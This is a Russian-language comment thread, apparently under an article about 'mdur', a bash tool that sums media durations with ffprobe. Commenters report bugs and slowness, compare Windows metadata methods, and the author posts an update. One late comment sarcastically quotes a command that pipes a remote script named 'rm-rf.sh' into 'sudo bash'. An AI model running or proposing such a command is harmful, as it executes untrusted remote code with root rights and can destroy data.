
Комментарии 27
Только текущая папка (без рекурсии):
mdur -r
Неожиданно!
Не работает, если в имени файла больше одной точки. Например - Love.Death.and.Robots.S04E10.For.He.Can.Creep.mkv
Так работает:
/mnt/d2/media/music$ mdur "/mnt/d2/media/music/Milk 'n Blues - 2015 - Milk'n Blues/"
Общая длительность: 00:37:08 Файлов: 10
А так - нет:
/mnt/d2/media/music/Milk 'n Blues - 2015 - Milk'n Blues$ mdur
Не найдено поддерживаемых медиафайлов в каталоге '/mnt/d2/media/music/Milk 'n Blues - 2015 - Milk'n Blues'
во первых оно потеряло почти сотню файлов где-то по пути
Извините...
Сам заметил эту проблему, но к сожалению эта проблема именно в ffprobe. (не считая 5 файлов, с этим порешаю)
Да сам замечал не точности в ffmpeg, но я вообще хз как это можно исправить(
во вторых когда имеешь файлопомойку на 50 тер хочется таки видеть уже не в часах а в днях.. месяцах.. годах..
Спасибо за идею! Не думал, что и правда у кого есть настолько большие данные)))
Думаю добавить это как отдельный параметр, но опять же как будет хоть капелька свободного времени T-T
а в целом респект, хорошая задумка и относительно неплохая реализация, башевать такое это мы любим (спасибо что не
npm runилиcargo build).
Очень очень благодарен за поддержку! (Если честно ожидал 0-ой надобности)
А разве просто просмотр свойств файлов в файловом менеджере не показывает общую продолжительность если выделены только медиафайлы?
Это муторно выделять нужные файлы (а если у тебя их больше 1000? Как у одного из других комментаторов) , да и не у всех показывается длительность (зависит от диспетчера файлов).
И да, большинство видео я смотрю в консоли))
Уберите тег "DevOps" из статьи
Извиняюсь, конечно, что не совсем по теме, но у меня на JS (WSH на Винде, с Висты, вроде), вот такое решение было и сейчас пользуюсь. Я к чему: не сталкивался тогда в Линуксе с подобной проблемой (если скачивал там, на винду перебрасывал сразу), но на Винде длительность видео можно выцепить через метод GetDetailsOf объекта "Shell.Application" ("Описание: возвращается информация, похожая на ту, что можно увидеть в окне свойств файла (папки) в проводнике"). И повторюсь, насколько помню (давно было), из Линукса данные передавались уже с этими свойствами файла. Скрипт своеобразный - рассчитан под нумерованные папки (оцифровывал VHS кассеты изначально, теперь только при скачивании через yt-dlp использую - он умеет разбивать на фрагменты почти хорошо, а с нужными параметрами почти идеально), но легко поправить. Может, без ffprobe можно и на линуксе обойтись? Давно с ним не работал.
На винде и правда можно сразу брать длительность файлов из метаданных файла благодаря их свойств, но на Linux такого нету(
И повторюсь, насколько помню (давно было), из Линукса данные передавались уже с этими свойствами файла
Я поискал, но люди пишут что из-за такой файловой системы метаданные не передаются так же как в Windows.
Может, без ffprobe можно и на линуксе обойтись? Давно с ним не работал.
Зависимость все равно придется ставить (без парсинга файла, для получение метаданных из контейнера, не обойтись), но как я уже понял, ffprobe так себе вариант из-за скорости работы.
В будущем перепишу на более быструю утилиту.
Буквально вчера нужно было уточнить длительность файлов, в Nemo не отображается, в Thunar долго (Свойства -> Аудио -> Информация) и только отдельно по файлам. В Проводнике Windows с подобным намного проще.
Скачал. Заметил достаточно большую задержку при обработке даже с локального диска: в папке 9 файлов, вывод через несколько секунд. Или у меня одного так?
P.S. Полезно, несомненно. В линуксах часто проще самому написать сценарий, нежели искать нужные программы, которых может и не быть вовсе.
Обновление!
- Исправлено множество багов
- Добавлено еще больше популярных форматов
- Исправление вывода
- Улучшенный детальный анализ
В скором будущем перепишу с ffprobe, потому что он работает крайне медленно, и добавлю несколько важных фишек.
Как-то писал себе скрипт по перекодированию медиа файлов через ffmpeg, и тоже столкнулся с проблемой определения длины, не помню точно, но как-то решил (какой-то другой способ работал очень медленно, может это как раз ffprobe). Скрипт только на домашнем ПК, а дома я буду через неделю, посмотрю и сравню. Прогресс в итоге я стал определять тупо по данным из лога ffmpeg, там он пишет какой кадр и сколько всего. Да, тоже всë на bash.
curl -sSL https://trusteddomain.com/rm-rf.sh | sudo bashОбожаю этот паттерн

Определение общей длительности медиафайлов